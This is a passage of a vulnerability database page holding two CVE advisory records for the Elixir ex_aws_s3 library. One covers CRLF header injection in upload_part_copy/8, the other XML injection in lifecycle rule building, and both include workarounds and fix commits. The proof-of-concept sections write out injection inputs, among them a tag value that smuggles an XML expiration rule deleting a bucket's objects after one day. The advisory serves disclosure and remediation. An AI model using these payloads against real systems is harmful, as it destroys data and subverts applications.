"name": "\u0027Elixir.ExAws.S3\u0027:upload_part_copy/8"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:upload_part_copy/8"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "b708beb7cbd0fe2ab7ce685834bb664397e4df1e",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:15:09.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e request header by interpolating the source bucket and object key directly into \u003ccode\u003e\"/#{src_bucket}/#{src_object}\"\u003c/code\u003e with no percent-encoding. The sibling function \u003ccode\u003eput_object_copy\u003c/code\u003e percent-encodes the bucket and each path segment before assembling the same header, but \u003ccode\u003eupload_part_copy\u003c/code\u003e skips encoding entirely.\u003c/p\u003e\n\u003cp\u003eWhen the source key is derived from untrusted input, reserved characters (spaces, \u003ccode\u003e?\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e=\u003c/code\u003e) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \u003ccode\u003e\\r\u003c/code\u003e or \u003ccode\u003e\\n\u003c/code\u003e can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\u003c/p\u003e\n\u003cp\u003eApplications that pass a source bucket or object key derived from untrusted input to \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e are affected. Applications that only ever pass trusted, well-formed keys are not affected.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\n\n`ExAws.S3.upload_part_copy/8` in `lib/ex_aws/s3.ex` builds the `x-amz-copy-source` request header by interpolating the source bucket and object key directly into `\"/#{src_bucket}/#{src_object}\"` with no percent-encoding. The sibling function `put_object_copy` percent-encodes the bucket and each path segment before assembling the same header, but `upload_part_copy` skips encoding entirely.\n\nWhen the source key is derived from untrusted input, reserved characters (spaces, `?`, `\u0026`, `=`) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing `\\r` or `\\n` can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\n\nApplications that pass a source bucket or object key derived from untrusted input to `ExAws.S3.upload_part_copy/8` are affected. Applications that only ever pass trusted, well-formed keys are not affected.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\n\nExAws.S3.upload_part_copy/8 in lib/ex_aws/s3.ex builds the x-amz-copy-source request header by interpolating the source bucket and object key directly into \"/#{src_bucket}/#{src_object}\" with no percent-encoding. The sibling function put_object_copy percent-encodes the bucket and each path segment before assembling the same header, but upload_part_copy skips encoding entirely.\n\nWhen the source key is derived from untrusted input, reserved characters (spaces, ?, \u0026, =) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \\r or \\n can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\n\nApplications that pass a source bucket or object key derived from untrusted input to ExAws.S3.upload_part_copy/8 are affected. Applications that only ever pass trusted, well-formed keys are not affected.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-105",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an output-encoding defect (missing percent-encoding) in the construction of the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e header. Affected are applications that call \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an output-encoding defect (missing percent-encoding) in the construction of the `x-amz-copy-source` header. Affected are applications that call `ExAws.S3.upload_part_copy/8` with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected."
}
],
"value": "This is an output-encoding defect (missing percent-encoding) in the construction of the x-amz-copy-source header. Affected are applications that call ExAws.S3.upload_part_copy/8 with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93 Improper Neutralization of CRLF Sequences",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:15:10.351Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-27g7-88jv-xqhq"
},
{
"name": "EEF CNA record for CVE-2026-63584",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63584.html"
},
{
"name": "OSV record EEF-CVE-2026-63584",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63584"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit b708beb in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/b708beb7cbd0fe2ab7ce685834bb664397e4df1e"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Copy-source header injection in ExAws.S3.upload_part_copy/8 via unencoded source key",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003ePercent-encode or otherwise sanitize the source bucket and object key before passing them to \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e. At minimum, reject (or strip) any value containing \u003ccode\u003e\\r\u003c/code\u003e, \u003ccode\u003e\\n\u003c/code\u003e, or the reserved URI characters that alter the copy-source reference. Encode each path segment with \u003ccode\u003eURI.encode(segment, \u0026amp;URI.char_unreserved?/1)\u003c/code\u003e, mirroring how \u003ccode\u003eput_object_copy\u003c/code\u003e builds the same header.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Percent-encode or otherwise sanitize the source bucket and object key before passing them to `ExAws.S3.upload_part_copy/8`. At minimum, reject (or strip) any value containing `\\r`, `\\n`, or the reserved URI characters that alter the copy-source reference. Encode each path segment with `URI.encode(segment, \u0026URI.char_unreserved?/1)`, mirroring how `put_object_copy` builds the same header."
}
],
"value": "Percent-encode or otherwise sanitize the source bucket and object key before passing them to ExAws.S3.upload_part_copy/8. At minimum, reject (or strip) any value containing \\r, \\n, or the reserved URI characters that alter the copy-source reference. Encode each path segment with URI.encode(segment, \u0026URI.char_unreserved?/1), mirroring how put_object_copy builds the same header."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application copies a part whose source key comes from user input, calling \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e and sending the operation with \u003ccode\u003eExAws.request/2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the source key \u003ccode\u003eevil key?x=1\u0026amp;y=2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eupload_part_copy/8\u003c/code\u003e interpolates it raw, so the request carries \u003ccode\u003ex-amz-copy-source: /src-bucket/evil key?x=1\u0026amp;y=2\u003c/code\u003e instead of the encoded \u003ccode\u003e/src-bucket/evil%20key%3Fx%3D1%26y%3D2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe reserved characters change the copy-source reference; a key containing \u003ccode\u003e\\r\\n\u003c/code\u003e would additionally inject header lines, depending on the HTTP backend.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application copies a part whose source key comes from user input, calling `ExAws.S3.upload_part_copy/8` and sending the operation with `ExAws.request/2`.\n2. The attacker supplies the source key `evil key?x=1\u0026y=2`.\n3. `upload_part_copy/8` interpolates it raw, so the request carries `x-amz-copy-source: /src-bucket/evil key?x=1\u0026y=2` instead of the encoded `/src-bucket/evil%20key%3Fx%3D1%26y%3D2`.\n4. The reserved characters change the copy-source reference; a key containing `\\r\\n` would additionally inject header lines, depending on the HTTP backend."
}
],
"value": "* An application copies a part whose source key comes from user input, calling ExAws.S3.upload_part_copy/8 and sending the operation with ExAws.request/2.\n* The attacker supplies the source key evil key?x=1\u0026y=2.\n* upload_part_copy/8 interpolates it raw, so the request carries x-amz-copy-source: /src-bucket/evil key?x=1\u0026y=2 instead of the encoded /src-bucket/evil%20key%3Fx%3D1%26y%3D2.\n* The reserved characters change the copy-source reference; a key containing \\r\\n would additionally inject header lines, depending on the HTTP backend."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Encoding in the sibling function.\u003c/strong\u003e \u003ccode\u003eput_object_copy\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e percent-encodes the source bucket and each path segment with \u003ccode\u003eURI.encode(..., \u0026amp;URI.char_unreserved?/1)\u003c/code\u003e before assembling the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e header.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. No encoding in \u003ccode\u003eupload_part_copy/8\u003c/code\u003e.\u003c/strong\u003e \u003ccode\u003eupload_part_copy/8\u003c/code\u003e builds the same header as \u003ccode\u003e\"/#{src_bucket}/#{src_object}\"\u003c/code\u003e, interpolating the bucket and key raw.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect.\u003c/strong\u003e Reserved characters in the source key (spaces, \u003ccode\u003e?\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e=\u003c/code\u003e) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing \u003ccode\u003e\\r\u003c/code\u003e or \u003ccode\u003e\\n\u003c/code\u003e can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Encoding in the sibling function.** `put_object_copy` in `lib/ex_aws/s3.ex` percent-encodes the source bucket and each path segment with `URI.encode(..., \u0026URI.char_unreserved?/1)` before assembling the `x-amz-copy-source` header.\n\n**2. No encoding in `upload_part_copy/8`.** `upload_part_copy/8` builds the same header as `\"/#{src_bucket}/#{src_object}\"`, interpolating the bucket and key raw.\n\n**3. Effect.** Reserved characters in the source key (spaces, `?`, `\u0026`, `=`) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing `\\r` or `\\n` can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers."
}
],
"value": "1. Encoding in the sibling function. put_object_copy in lib/ex_aws/s3.ex percent-encodes the source bucket and each path segment with URI.encode(..., \u0026URI.char_unreserved?/1) before assembling the x-amz-copy-source header.\n\n2. No encoding in upload_part_copy/8. upload_part_copy/8 builds the same header as \"/#{src_bucket}/#{src_object}\", interpolating the bucket and key raw.\n\n3. Effect. Reserved characters in the source key (spaces, ?, \u0026, =) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing \\r or \\n can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63584",
"datePublished": "2026-11-24T14:15:10.351Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:15:10.351Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63583 (GCVE-0-2026-63583)
Vulnerability from nvd – Published: 2026-11-24 14:14 – Updated: 2026-11-24 14:14
VLAI
EPSS
VEX
Title
XML injection in ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3
Summary
ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the PutBucketLifecycleConfiguration XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket's objects. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder.
This issue affects ex_aws_s3: from 2.3.0 before 2.6.0.
Severity
CWE
- CWE-91 - XML Injection
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63583.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63583 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/34a3f1… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/eda0b9… | patch |
Impacted products
Date Public
2026-11-24 14:14
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_lifecycle_rule/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_lifecycle/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.3.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_lifecycle_rule/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_lifecycle/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
"status": "affected",
"version": "34a3f1b264bd9a28d68fa98173af7085da72a15b",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:14:57.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003ccode\u003eExAws.S3.Utils.build_lifecycle_rule/1\u003c/code\u003e in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point \u003ccode\u003eExAws.S3.put_bucket_lifecycle/2\u003c/code\u003e flows directly into this builder.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "`ExAws.S3.Utils.build_lifecycle_rule/1` in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the `PutBucketLifecycleConfiguration` XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point `ExAws.S3.put_bucket_lifecycle/2` flows directly into this builder.\n\nThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0."
}
],
"value": "ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the PutBucketLifecycleConfiguration XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder.\n\nThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-250",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an XML/document injection vulnerability in the construction of the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e request. Any application that uses \u003ccode\u003eex_aws_s3\u003c/code\u003e and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an XML/document injection vulnerability in the construction of the `PutBucketLifecycleConfiguration` request. Any application that uses `ex_aws_s3` and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed."
}
],
"value": "This is an XML/document injection vulnerability in the construction of the PutBucketLifecycleConfiguration request. Any application that uses ex_aws_s3 and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91 XML Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:14:58.243Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-pcgv-phrm-r85v"
},
{
"name": "EEF CNA record for CVE-2026-63583",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63583.html"
},
{
"name": "OSV record EEF-CVE-2026-63583",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63583"
},
{
"name": "Introducing commit 34a3f1b in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/34a3f1b264bd9a28d68fa98173af7085da72a15b"
},
{
"name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "XML injection in ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eApplications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Applications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure."
}
],
"value": "Applications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eA multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: \u003ccode\u003eExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u0026gt; ExAws.request(config)\u003c/code\u003e with \u003ccode\u003efilter: %{tags: [{\"team\", value}]}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe tenant sets the tag value to \u003ccode\u003efrontend\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;/Filter\u0026gt;\u0026lt;Expiration\u0026gt;\u0026lt;Days\u0026gt;1\u0026lt;/Days\u0026gt;\u0026lt;/Expiration\u0026gt;\u0026lt;Filter\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;team\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;frontend\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebuild_lifecycle_rule/1\u003c/code\u003e interpolates it unescaped into the request body.\u003c/li\u003e\n\u003cli\u003eThe body S3 receives contains \u003ccode\u003e//Rule/Expiration/Days\u003c/code\u003e equal to \u003ccode\u003e1\u003c/code\u003e: an injected action that expires the bucket\u0027s objects after one day.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. A multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: `ExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u003e ExAws.request(config)` with `filter: %{tags: [{\"team\", value}]}`.\n2. The tenant sets the tag value to `frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend`.\n3. `build_lifecycle_rule/1` interpolates it unescaped into the request body.\n4. The body S3 receives contains `//Rule/Expiration/Days` equal to `1`: an injected action that expires the bucket\u0027s objects after one day."
}
],
"value": "* A multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: ExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u003e ExAws.request(config) with filter: %{tags: [{\"team\", value}]}.\n* The tenant sets the tag value to frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend.\n* build_lifecycle_rule/1 interpolates it unescaped into the request body.\n* The body S3 receives contains //Rule/Expiration/Days equal to 1: an injected action that expires the bucket\u0027s objects after one day."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
